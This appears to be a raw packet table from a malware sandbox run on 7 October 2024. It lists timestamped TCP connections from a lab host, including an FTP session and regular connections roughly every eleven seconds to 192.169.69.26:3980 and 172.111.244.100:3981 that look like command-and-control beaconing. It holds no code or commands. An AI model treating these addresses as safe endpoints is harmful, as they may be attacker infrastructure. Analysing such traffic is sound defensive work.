                                                      Oct 7, 2024 07:10:15.381979942 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.382695913 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.382723093 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.382766008 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.382771969 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.382842064 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.383445978 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.383470058 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.383514881 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.383522987 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.383634090 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.384251118 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.384278059 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.384336948 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.384336948 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.384349108 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.452871084 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.452897072 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.452970982 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.452990055 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.453010082 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.469938040 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.469969034 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.470068932 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.470068932 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.470087051 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.470099926 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.470207930 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.470670938 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.470694065 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.470733881 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.470742941 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.470776081 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.471555948 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.471581936 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.471630096 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.471641064 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.471683025 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.472147942 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.472168922 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.472203970 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.472212076 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.472316980 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.473031998 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.473059893 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.473098040 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.473104000 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.473162889 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.473961115 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.473982096 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.474050999 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.474057913 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.474093914 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.497411013 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.497448921 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.497483969 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.497495890 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.497558117 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.533077955 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.533101082 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.533158064 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.533179998 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.533198118 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.560580969 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.560611963 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.560663939 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.560683012 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.560720921 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.561130047 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.561151981 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.561189890 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.561225891 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.561225891 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.561235905 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.561260939 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.561990976 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.562019110 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.562113047 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.562113047 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.562123060 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.562709093 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.562731981 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.562768936 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.562776089 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.562808037 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.563554049 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.563581944 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.563616037 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.563632011 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.563647032 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.564289093 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.564310074 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.564363003 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.564378977 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.564389944 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.587655067 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.587682962 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.587764978 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.587764978 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.587788105 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.623565912 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.623594999 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.623692989 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.623692989 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.623717070 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.651200056 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.651231050 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.651293039 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.651315928 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.651408911 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.652439117 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.652461052 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.652512074 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.652543068 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.652543068 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.652555943 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.652568102 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.652942896 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.652971983 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.653031111 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.653039932 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.653053999 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.653095961 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.653167009 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.653177977 CEST4434977185.120.16.93192.168.2.6
                                                      Oct 7, 2024 07:10:15.653306007 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.655224085 CEST49771443192.168.2.685.120.16.93
                                                      Oct 7, 2024 07:10:15.672908068 CEST4974621192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:15.677768946 CEST2149746191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:15.894035101 CEST2149746191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:15.895895004 CEST4978360863192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:15.900788069 CEST6086349783191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:15.900901079 CEST4974621192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:15.901098967 CEST4978360863192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:15.905783892 CEST2149746191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:16.122711897 CEST2149746191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:16.207654953 CEST4974621192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:16.523521900 CEST2149746191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:16.526103020 CEST6086349783191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:16.526118994 CEST6086349783191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:16.526237965 CEST4978360863192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:16.526237965 CEST4978360863192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:16.526910067 CEST49790443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:16.526936054 CEST44349790188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:16.527034998 CEST49790443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:16.527400970 CEST49790443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:16.527415037 CEST44349790188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:16.531183958 CEST6086349783191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:16.695954084 CEST4974621192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:16.981959105 CEST44349790188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:16.982929945 CEST49790443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:16.982949972 CEST44349790188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:17.406929970 CEST44349790188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:17.407037973 CEST44349790188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:17.407079935 CEST49790443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:17.407402992 CEST49790443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:17.572674036 CEST4974621192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:19.527380943 CEST52528443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:19.527425051 CEST44352528172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:19.527491093 CEST52528443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:19.529792070 CEST52528443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:19.529805899 CEST44352528172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:19.998320103 CEST44352528172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:19.998405933 CEST52528443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:20.002029896 CEST52528443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:20.002052069 CEST44352528172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:20.002465010 CEST44352528172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:20.011214018 CEST52528443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:20.055392981 CEST44352528172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:20.119931936 CEST44352528172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:20.120126963 CEST44352528172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:20.120271921 CEST52528443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:20.120620966 CEST52528443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:20.353960991 CEST525353980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:20.358825922 CEST398052535192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:20.358926058 CEST525353980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:20.359884024 CEST525353980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:20.364748955 CEST398052535192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:24.775417089 CEST52562443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:24.775459051 CEST44352562172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:24.775578022 CEST52562443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:24.777405024 CEST52562443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:24.777426958 CEST44352562172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:25.252655029 CEST44352562172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:25.252753019 CEST52562443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:25.253932953 CEST52562443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:25.253938913 CEST44352562172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:25.254435062 CEST44352562172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:25.259588003 CEST52562443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:25.303399086 CEST44352562172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:25.398415089 CEST44352562172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:25.398627043 CEST44352562172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:25.398731947 CEST52562443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:25.399311066 CEST52562443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:30.256953955 CEST398052535192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:30.257024050 CEST525353980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:30.257059097 CEST525353980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:30.262160063 CEST398052535192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:30.359957933 CEST525993981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:30.364929914 CEST398152599172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:30.365017891 CEST525993981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:30.369292974 CEST525993981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:30.374664068 CEST398152599172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:30.974653006 CEST398152599172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:30.975625038 CEST525993981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:30.975852013 CEST525993981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:30.981502056 CEST398152599172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:32.101650953 CEST526053980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:32.106512070 CEST398052605192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:32.106580019 CEST526053980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:32.106992960 CEST526053980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:32.111782074 CEST398052605192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:33.090195894 CEST52616443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:33.090224981 CEST44352616172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:33.090286970 CEST52616443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:33.092221022 CEST52616443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:33.092233896 CEST44352616172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:33.571221113 CEST44352616172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:33.571283102 CEST52616443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:33.572438002 CEST52616443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:33.572443962 CEST44352616172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:33.572772026 CEST44352616172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:33.577480078 CEST52616443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:33.623400927 CEST44352616172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:33.720345974 CEST44352616172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:33.720633984 CEST44352616172.67.19.24192.168.2.6
                                                      Oct 7, 2024 07:10:33.720748901 CEST52616443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:33.721204996 CEST52616443192.168.2.6172.67.19.24
                                                      Oct 7, 2024 07:10:41.896231890 CEST398052605192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:41.896301031 CEST526053980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:41.896367073 CEST526053980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:41.897181034 CEST526703981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:41.901814938 CEST398052605192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:41.902009010 CEST398152670172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:41.902082920 CEST526703981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:41.905337095 CEST526703981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:41.910221100 CEST398152670172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:42.454118967 CEST398152670172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:42.454231024 CEST526703981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:42.454255104 CEST526703981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:42.459503889 CEST398152670172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:43.583559036 CEST526823980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:43.588475943 CEST398052682192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:43.588552952 CEST526823980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:43.588970900 CEST526823980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:43.593842983 CEST398052682192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:53.313714027 CEST398052682192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:53.313816071 CEST526823980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:53.313896894 CEST526823980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:53.318631887 CEST398052682192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:53.319098949 CEST527203981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:53.323899984 CEST398152720172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:53.323972940 CEST527203981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:53.346014023 CEST527203981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:53.351454020 CEST398152720172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:53.876194000 CEST398152720172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:53.876282930 CEST527203981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:53.876327991 CEST527203981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:10:53.881230116 CEST398152720172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:10:55.005259991 CEST527213980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:55.010381937 CEST398052721192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:10:55.010516882 CEST527213980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:55.011169910 CEST527213980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:10:55.015959024 CEST398052721192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:04.710732937 CEST398052721192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:04.710829973 CEST527213980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:04.710968018 CEST527213980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:04.715760946 CEST398052721192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:04.715980053 CEST527233981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:04.720798016 CEST398152723172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:04.720871925 CEST527233981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:04.723828077 CEST527233981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:04.728687048 CEST398152723172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:06.018013954 CEST398152723172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:06.018099070 CEST527233981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:06.018153906 CEST527233981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:06.018171072 CEST398152723172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:06.018183947 CEST398152723172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:06.018209934 CEST527233981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:06.018222094 CEST527233981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:06.023112059 CEST398152723172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:07.145335913 CEST527243980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:07.150773048 CEST398052724192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:07.150857925 CEST527243980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:07.151238918 CEST527243980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:07.156131983 CEST398052724192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:16.956032991 CEST398052724192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:16.956228018 CEST527243980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:16.956348896 CEST527243980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:16.958163977 CEST527263981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:16.961169004 CEST398052724192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:16.963073969 CEST398152726172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:16.963215113 CEST527263981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:16.968027115 CEST527263981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:16.972872019 CEST398152726172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:17.523149967 CEST398152726172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:17.523274899 CEST527263981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:17.523365974 CEST527263981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:17.528189898 CEST398152726172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:18.629827976 CEST527273980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:18.634867907 CEST398052727192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:18.635066032 CEST527273980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:18.635608912 CEST527273980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:18.640494108 CEST398052727192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:28.401580095 CEST398052727192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:28.401880980 CEST527273980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:28.401880980 CEST527273980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:28.404738903 CEST527283981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:28.406929970 CEST398052727192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:28.409815073 CEST398152728172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:28.409898996 CEST527283981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:28.413072109 CEST527283981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:28.417928934 CEST398152728172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:28.969913960 CEST398152728172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:28.969991922 CEST527283981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:28.970079899 CEST527283981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:28.974982977 CEST398152728172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:30.216234922 CEST527293980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:30.221189022 CEST398052729192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:30.221304893 CEST527293980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:30.221478939 CEST527293980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:30.226264000 CEST398052729192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:40.169554949 CEST398052729192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:40.169718981 CEST527293980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:40.169770956 CEST527293980192.168.2.6192.169.69.26
                                                      Oct 7, 2024 07:11:40.174731016 CEST398052729192.169.69.26192.168.2.6
                                                      Oct 7, 2024 07:11:40.276120901 CEST527313981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:40.281068087 CEST398152731172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:40.281132936 CEST527313981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:40.285434961 CEST527313981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:40.290307999 CEST398152731172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:40.843009949 CEST398152731172.111.244.100192.168.2.6
                                                      Oct 7, 2024 07:11:40.843312979 CEST527313981192.168.2.6172.111.244.100
                                                      Oct 7, 2024 07:11:40.843373060 CEST527313981192.168.2.6172.111.244.100
